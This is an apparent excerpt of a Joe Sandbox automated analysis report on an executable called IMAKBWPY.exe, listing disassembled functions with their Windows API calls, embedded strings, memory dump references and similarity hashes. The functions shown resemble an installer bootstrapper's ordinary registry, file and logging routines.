API String ID: 2680864210-3354682871
Opcode ID: 1187822c5624f682ac5611a86e097e769ffb551ce225de3b653cda19c40d8a22
Instruction ID: 9a0bb70a528db45456aea929f793a0c3cfa79b9ec59783307144f8a9e94fd7ae
Opcode Fuzzy Hash: 1187822c5624f682ac5611a86e097e769ffb551ce225de3b653cda19c40d8a22
Instruction Fuzzy Hash: 41313B32C011ADEFCF22AFD6CD409AEBB79EF84711B914179EA0476121C7318E50DB90

Function 009E939E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E8E44: lstrlenW.KERNEL32(00000100,?,?,?,009E9217,000002C0,00000100,00000100,00000100,?,?,?,009C7D87,?,?,000001BC), ref: 009E8E69

RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000000,00000000,00000000,?), ref: 009E9483
RegCloseKey.ADVAPI32(00000001,00000000,?,00000000,00000000,00000000,00000000,?), ref: 009E949D

Part of subcall function 009E0BE9: RegCreateKeyExW.ADVAPI32(00000001,00000000,00000000,00000000,00000000,00000001,00000000,?,00000000,00000001,?,?,009B061A,?,00000000,00020006), ref: 009E0C0E

Part of subcall function 009E14F4: RegSetValueExW.ADVAPI32(00020006,009F0D10,00000000,00000001,?,00000000,?,000000FF,00000000,00000000,?,?,009AF335,00000000,?,00020006), ref: 009E1527

Part of subcall function 009E14F4: RegDeleteValueW.ADVAPI32(00020006,009F0D10,00000000,?,?,009AF335,00000000,?,00020006,?,009F0D10,00020006,00000000,?,?,?), ref: 009E1557

Part of subcall function 009E14A6: RegSetValueExW.ADVAPI32(?,00000005,00000000,00000004,?,00000004,00000001,?,009AF28D,009F0D10,Resume,00000005,?,00000000,00000000,00000000), ref: 009E14BB

Strings

%ls\%ls, xrefs: 009E93FF

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Value$Close$CreateDeletelstrlen
String ID: %ls\%ls
API String ID: 3924016894-2125769799
Opcode ID: da4de53fc49c1581f1754ced598738eb83a41b5fdc9a88b5c3e6f34040185893
Instruction ID: 675a307dec2bb6dcc9a1d8f1a41ceabcad6c691d772c89d5d0c16e440da2533d
Opcode Fuzzy Hash: da4de53fc49c1581f1754ced598738eb83a41b5fdc9a88b5c3e6f34040185893
Instruction Fuzzy Hash: 63311C72C011ADBFCF129FD6CC4199EBB79EB44750B054166F904A6221E7318E11EB90

Function 009A3A4D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 009A3AB0

Strings

wininet.dll, xrefs: 009A3A6E
crypt32.dll, xrefs: 009A3A6D, 009A3AAC, 009A3AAE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: _memcpy_s
String ID: crypt32.dll$wininet.dll
API String ID: 2001391462-82500532
Opcode ID: 0011009348c22b5e832ea82858c93897483b8e9d66932b506b87b8fd8fea0445
Instruction ID: c3d815c58ebb4135faa944f204b7e1d39fa86a8d5ac1f403ca5795597edabb99
Opcode Fuzzy Hash: 0011009348c22b5e832ea82858c93897483b8e9d66932b506b87b8fd8fea0445
Instruction Fuzzy Hash: A4115E71700219ABCB08DE59CD95AABBF6DEF95394B14802AFC058B311D271EA10CAE0

Function 009E14F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(00020006,009F0D10,00000000,00000001,?,00000000,?,000000FF,00000000,00000000,?,?,009AF335,00000000,?,00020006), ref: 009E1527
RegDeleteValueW.ADVAPI32(00020006,009F0D10,00000000,?,?,009AF335,00000000,?,00020006,?,009F0D10,00020006,00000000,?,?,?), ref: 009E1557

Strings

regutil.cpp, xrefs: 009E158B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Value$Delete
String ID: regutil.cpp
API String ID: 1738766685-955085611
Opcode ID: c6115a88d450500be8ff02d73b15b7787a1030355ae956f25f483d8288527f8a
Instruction ID: 3aca65c7b83947c4c06cfdb61e113d1d3dee13b574b3557d00ee320586b3cdef
Opcode Fuzzy Hash: c6115a88d450500be8ff02d73b15b7787a1030355ae956f25f483d8288527f8a
Instruction Fuzzy Hash: 4E110636D112BAB7DB238A968C05BAA7A28AB44760F150225BD02AA190DF31CD2097E0

Function 009ADDB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,00000000,000000FF,?,000000FF,IGNOREDEPENDENCIES,00000000,?,?,009C7691,00000000,IGNOREDEPENDENCIES,00000000,?,009EB518), ref: 009ADE04

Strings

IGNOREDEPENDENCIES, xrefs: 009ADDBB
Failed to copy the property value., xrefs: 009ADE38

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: Failed to copy the property value.$IGNOREDEPENDENCIES
API String ID: 1825529933-1412343224
Opcode ID: 510c2d6519862fbe77d4728fddb6fc3d90890ef2b4f009f8e5afe435d3b033e5
Instruction ID: 3a2bb5059accd621da949b79095d960ea5d20544ff472e7fd739e91e3fe89ce7
Opcode Fuzzy Hash: 510c2d6519862fbe77d4728fddb6fc3d90890ef2b4f009f8e5afe435d3b033e5
Instruction Fuzzy Hash: D311E332205215AFCB115F54CC84FAA77AAAF96324F314165FA1A9FA91C7719C50C7C0

Function 009E563F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(20000004,00000000,00000000,00000000,00000000,00000000,?,?,009B8E97,?,00000001,20000004,00000000,00000000,?,00000000), ref: 009E566E
SetNamedSecurityInfoW.ADVAPI32(00000000,?,000007D0,00000003,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,009B8E97,?), ref: 009E5689

Strings

aclutil.cpp, xrefs: 009E56AD

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: InfoNamedSecuritySleep
String ID: aclutil.cpp
API String ID: 2352087905-2159165307
Opcode ID: 3590da621fe69a5a4d78a35a089f76adac894dd0f756ab381d9a1f86294c344e
Instruction ID: 8792e7e304b9f2ace24dbf2c1311a1b15658055d511c6d8c65937650627b4971
Opcode Fuzzy Hash: 3590da621fe69a5a4d78a35a089f76adac894dd0f756ab381d9a1f86294c344e
Instruction Fuzzy Hash: D2015E33801569BBCF239F8ACD05E9E7B69EF84B68F064155FD046A120C6329D20ABD0

Function 009A158C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(0000007F,00000000,00000000,009B70E8,00000000,009B70E8,00000000,00000000,009B70E8,00000000,00000000,00000000,?,009A2318,00000000,00000000), ref: 009A15D0
GetLastError.KERNEL32(?,009A2318,00000000,00000000,009B70E8,00000200,?,009E52B2,00000000,009B70E8,00000000,009B70E8,00000000,00000000,00000000), ref: 009A15DA

Strings

strutil.cpp, xrefs: 009A15FE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastString
String ID: strutil.cpp
API String ID: 3728238275-3612885251
Opcode ID: 0bdfa4dad302db180fa4c189697207f3324b8ac9f77c45718167c23bd78c2162
Instruction ID: 87a861b47f695fe607f29166b5dc96d5985d1faf4e2c7aa3105100ec8e10dd4e
Opcode Fuzzy Hash: 0bdfa4dad302db180fa4c189697207f3324b8ac9f77c45718167c23bd78c2162
Instruction Fuzzy Hash: 4A017133D4567A778B219E998C44E5B7A6DEF86B71F094224FE14AF250D620DC1097E0

Function 009B57BD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 009B57D9
CoUninitialize.OLE32(?,00000000,?,?,?,?,?,?,?), ref: 009B5833

Strings

Failed to initialize COM on cache thread., xrefs: 009B57E5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: InitializeUninitialize
String ID: Failed to initialize COM on cache thread.
API String ID: 3442037557-3629645316
Opcode ID: b6d3a6c357204f6932b0b6d3efe228fdf25a38376b7ca2c96cfecd7ba1ba03a8
Instruction ID: e67515d8bcba54c089cf7465c3429e5efbbb8d09650ef2f8712439404ffdb69d
Opcode Fuzzy Hash: b6d3a6c357204f6932b0b6d3efe228fdf25a38376b7ca2c96cfecd7ba1ba03a8
Instruction Fuzzy Hash: 49016172601619BFC7059FA5D884ED6FBACFF48354B118125F609C7111DB31AD54DBD0

Function 009E3BF1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

RegCloseKey.ADVAPI32(00000000,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00020019,00000000,?,?,?,?,?,009E3A8E,?), ref: 009E3C62

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 009E3C0C
EnableLUA, xrefs: 009E3C34

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseOpen
String ID: EnableLUA$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
API String ID: 47109696-3551287084
Opcode ID: aa0051ae5dcba66e3aeb20c8a4fbbcba804b88405f0e31f99c101cedcf90172d
Instruction ID: 79574a36079c32a733cdc6552d60a0881f743d39d94844d489d161e58a8bc3a5
Opcode Fuzzy Hash: aa0051ae5dcba66e3aeb20c8a4fbbcba804b88405f0e31f99c101cedcf90172d
Instruction Fuzzy Hash: 6301DF32810228FBC7229AA6D80ABEEF7ACEB04722F3085A4AC40B3041D3759F50D6D0

Function 009A5123 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(burn.clean.room,?,?,?,?,009A1104,?,?,00000000), ref: 009A5142
CompareStringW.KERNEL32(0000007F,00000001,?,0000000F,burn.clean.room,0000000F,?,?,?,?,009A1104,?,?,00000000), ref: 009A5172

Strings

burn.clean.room, xrefs: 009A512F, 009A513C, 009A5169

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareStringlstrlen
String ID: burn.clean.room
API String ID: 1433953587-3055529264
Opcode ID: a36f0e14bb35f50068df29ac78461d0f41f230bfe07c1bd06c894f6425f93cdf
Instruction ID: 94ec11c7f8e43acf02e10c53eb54de154e0f66f585105b8a2ae01566d8755807
Opcode Fuzzy Hash: a36f0e14bb35f50068df29ac78461d0f41f230bfe07c1bd06c894f6425f93cdf
Instruction Fuzzy Hash: 550162B2B096246FC7308B999D84A73B7BCE7667A0B114116F505C7660D370DC42C6E1

Function 009E6920 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 009E6985

Strings

atomutil.cpp, xrefs: 009E6941
`<u, xrefs: 009E6985

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeString
String ID: `<u$atomutil.cpp
API String ID: 3341692771-4051019476
Opcode ID: c74f3cecf42a28f39218847770ed2a6f2a08bac66019a3b0b7e8e114b1fef295
Instruction ID: 6e4834213414a1ff28e8a494383debdbfc35319ab1fcfed079a62be5dfc67cd2
Opcode Fuzzy Hash: c74f3cecf42a28f39218847770ed2a6f2a08bac66019a3b0b7e8e114b1fef295
Instruction Fuzzy Hash: 2E01F432800158FBC7236A9ADC02BAEF77CAFA5BA0F244165F80067152C7766E00E6E0

Function 009A6522 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?), ref: 009A6534

Part of subcall function 009E0ACC: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,?,?,?,009A5EB2,00000000), ref: 009E0AE0
Part of subcall function 009E0ACC: GetProcAddress.KERNEL32(00000000), ref: 009E0AE7
Part of subcall function 009E0ACC: GetLastError.KERNEL32(?,?,?,009A5EB2,00000000), ref: 009E0AFE

Part of subcall function 009A5CE2: RegCloseKey.ADVAPI32(00000000,?,00000000,CommonFilesDir,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,00020119,00000000), ref: 009A5D68

Strings

Failed to set variant value., xrefs: 009A6571
Failed to get 64-bit folder., xrefs: 009A6557

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressCloseCurrentErrorHandleLastModuleProcProcess
String ID: Failed to get 64-bit folder.$Failed to set variant value.
API String ID: 3109562764-2681622189
Opcode ID: 8e63698e50c4a0222099a60f15f5fd7aa58762e92574c1628b8ec300e6d34f0a
Instruction ID: ef9df349fe08d6ad40b9415c7941c913ed2b806551cb03245297bf4e08084b07
Opcode Fuzzy Hash: 8e63698e50c4a0222099a60f15f5fd7aa58762e92574c1628b8ec300e6d34f0a
Instruction Fuzzy Hash: 00016D32D0126CBBCF22ABA5CD06A9EBB78EF41B21F154156F800AA155E6719F50DBD0

Function 009A33C7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00000104,?,?,?,?,009A10DD,?,00000000), ref: 009A33E8
GetLastError.KERNEL32(?,?,?,?,009A10DD,?,00000000), ref: 009A33FF

Strings

pathutil.cpp, xrefs: 009A3423

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: pathutil.cpp
API String ID: 2776309574-741606033
Opcode ID: 1166d36f27ed3910e43d8872e984cbe1a68b608fc3166e98cf5b790d9a4eb01d
Instruction ID: f5e89c80b0dfbdf95189211cd51bbc057512faf2f58bb5163dc5a7abc5b11755
Opcode Fuzzy Hash: 1166d36f27ed3910e43d8872e984cbe1a68b608fc3166e98cf5b790d9a4eb01d
Instruction Fuzzy Hash: 7AF0F673A4963567C73256975C45E9BFA9CEB87B70B528121FE04BF120DB64DD0082E0

Function 009CE30F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 009CEBD2

Part of subcall function 009D1380: RaiseException.KERNEL32(?,?,?,009CEBF4,?,00000000,00000000,?,?,?,?,?,009CEBF4,?,00A07EC8), ref: 009D13DF

__CxxThrowException@8.LIBVCRUNTIME ref: 009CEBEF

Strings

Unknown exception, xrefs: 009CEBFC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 2a049d69fdd46f9bf71cd37a3ccdc29c96b7937aa1967315cade5730e75f1f31
Instruction ID: 2f619aaa1dca025511466ae13d46a783e234f2d8b418b78a885006496703f3a5
Opcode Fuzzy Hash: 2a049d69fdd46f9bf71cd37a3ccdc29c96b7937aa1967315cade5730e75f1f31
Instruction Fuzzy Hash: 18F02235C0020DBBCB00BAA5E84AFAC732C5E40340B90896AF817925C1EB30FE15C5C2

Function 009E4A05 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(00000000,00000000,00000000,74DF34C0,?,?,?,009ABA1D,?,?,?,00000000,00000000), ref: 009E4A1D
GetLastError.KERNEL32(?,?,?,009ABA1D,?,?,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009E4A27

Strings

fileutil.cpp, xrefs: 009E4A4B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastSize
String ID: fileutil.cpp
API String ID: 464720113-2967768451
Opcode ID: c960b0e387ff18a70c2745247adb1a1e0799a5b3f3aaef05965eb29bc985c009
Instruction ID: 6abab0d42ef0ddb9f9a17dec5ab9a3987802771224ab4d6f16219cc65d9917ca
Opcode Fuzzy Hash: c960b0e387ff18a70c2745247adb1a1e0799a5b3f3aaef05965eb29bc985c009
Instruction Fuzzy Hash: B7F0A47295413AAB97219F8AD90595AFBACFF14760B014166FD54AB300E770AD1087D4

Function 009E3D80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36comCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(Microsoft.Update.AutoUpdate,009A5466,?,00000000,009A5466,?,?,?), ref: 009E3DA7
CoCreateInstance.OLE32(00000000,00000000,00000001,00A0716C,?), ref: 009E3DBF

Strings

Microsoft.Update.AutoUpdate, xrefs: 009E3DA2

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID: Microsoft.Update.AutoUpdate
API String ID: 2151042543-675569418
Opcode ID: 02456f5fad52db928aba83661e8237900121e8f87c99ada3a2cf55877bc0ac4c
Instruction ID: 829389be8e2c46583635e2db1415e8aa54283b74a1415d194b4eea3b35f53cf8
Opcode Fuzzy Hash: 02456f5fad52db928aba83661e8237900121e8f87c99ada3a2cf55877bc0ac4c
Instruction Fuzzy Hash: 6EF03A71A1520CBBDB00EFA9DD46EAFB7BCEB48710F404469EA01E7190D671AE0486B2

Function 009E0E07 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(RegDeleteKeyExW,AdvApi32.dll), ref: 009E0E28

Strings

RegDeleteKeyExW, xrefs: 009E0E1D
AdvApi32.dll, xrefs: 009E0E0D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc
String ID: AdvApi32.dll$RegDeleteKeyExW
API String ID: 190572456-850864035
Opcode ID: 321f48bb82db6522efc31a3c13e6b9b08e2394f29590dfc9e8869762b0c1c564
Instruction ID: 5f44a97cd2204039d9a695b3bcb9e6336412d571a09da87562cc723b5c06824d
Opcode Fuzzy Hash: 321f48bb82db6522efc31a3c13e6b9b08e2394f29590dfc9e8869762b0c1c564
Instruction Fuzzy Hash: B1E0EC709213ADAACB12DB95BE05B427E90E751B59F004524E4089A2B0DBB35C53CBA0

Analysis Process: IMAKBWPY.exePID: 4588, Parent PID: 5332COMMON

Executed Functions

Function 0026FEC6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 132threadtimeCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0029B5FC,00000000,?,?,?,?,0024E93B,8000FFFF,Unexpected return value from message pump.), ref: 0026FEF4
GetCurrentProcessId.KERNEL32(00000000,?,0024E93B,8000FFFF,Unexpected return value from message pump.), ref: 0026FF04
GetCurrentThreadId.KERNEL32 ref: 0026FF0D
GetLocalTime.KERNEL32(8000FFFF,?,0024E93B,8000FFFF,Unexpected return value from message pump.), ref: 0026FF23
LeaveCriticalSection.KERNEL32(0029B5FC,0024E93B,?,00000000,0000FDE9,?,0024E93B,8000FFFF,Unexpected return value from message pump.), ref: 0027001A

Strings

,e), xrefs: 0026FF53
%ls[%04X:%04X][%04hu-%02hu-%02huT%02hu:%02hu:%02hu]%hs%03d:%ls %ls%ls, xrefs: 0026FFC0
0e), xrefs: 0026FF70
$e), xrefs: 0026FF61
(e), xrefs: 0026FF5A

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

